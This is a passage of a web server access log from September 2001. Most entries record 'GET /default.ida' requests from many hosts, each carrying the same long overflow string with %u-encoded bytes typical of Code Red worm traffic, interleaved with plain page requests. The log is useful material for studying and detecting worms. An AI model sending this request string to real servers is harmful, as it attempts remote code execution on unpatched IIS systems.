  1338. 20010907 10:06:39:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1339. 20010907 10:13:26: r318m06.cbit.syr.edu [128.230.112.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1340. 20010907 10:14:20:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1341. 20010907 10:15:27:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1342. 20010907 10:17:20:  [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1343. 20010907 11:05:51: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1344. 20010907 11:05:57: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1345. 20010907 11:05:58: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1346. 20010907 11:06:07: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1347. 20010907 11:06:44: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1348. 20010907 11:06:54: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1349. 20010907 11:07:01: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1350. 20010907 11:07:34: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1351. 20010907 11:08:14: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1352. 20010907 11:08:22: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1353. 20010907 11:23:39: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1354. 20010907 11:26:21: lpro.tc.columbia.edu [128.59.88.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1355. 20010907 11:46:09: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1356. 20010907 11:50:49: lpro.tc.columbia.edu [128.59.88.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1357. 20010907 12:46:36:  [218.2.150.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1358. 20010907 14:13:28:  [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1359. 20010907 14:19:40: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1360. 20010907 17:42:28: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1361. 20010907 17:47:14: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1362. 20010907 18:36:55:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1363. 20010907 18:42:05: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1364. 20010907 19:57:00:  [61.174.145.26] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1365. 20010907 20:04:03:  [128.121.189.180] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1366. 20010907 21:43:10: ag.udel.edu [128.175.126.218] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1367. 20010907 21:48:38: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1368. 20010907 22:26:20: pD9547FB8.dip.t-dialin.net [217.84.127.184] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1369. 20010908 00:13:39:  [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1370. 20010908 00:18:10:  [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1371. 20010908 00:19:10:  [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1372. 20010908 00:21:38:  [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1373. 20010908 00:25:15:  [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1374. 20010908 00:27:40: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1375. 20010908 00:27:54: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1376. 20010908 00:28:31: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1377. 20010908 00:32:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1378. 20010908 00:32:48: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1379. 20010908 00:38:09: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1380. 20010908 00:38:34: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1381. 20010908 00:44:15: dialup-cc2-47.cc.columbia.edu [128.59.58.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1382. 20010908 00:45:01: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1383. 20010908 00:45:13: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1384. 20010908 00:52:10: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1385. 20010908 00:53:11: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1386. 20010908 00:59:19: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1387. 20010908 00:59:58: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1388. 20010908 01:07:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1389. 20010908 01:07:58: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
  1390. 20010908 01:15:17: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0"
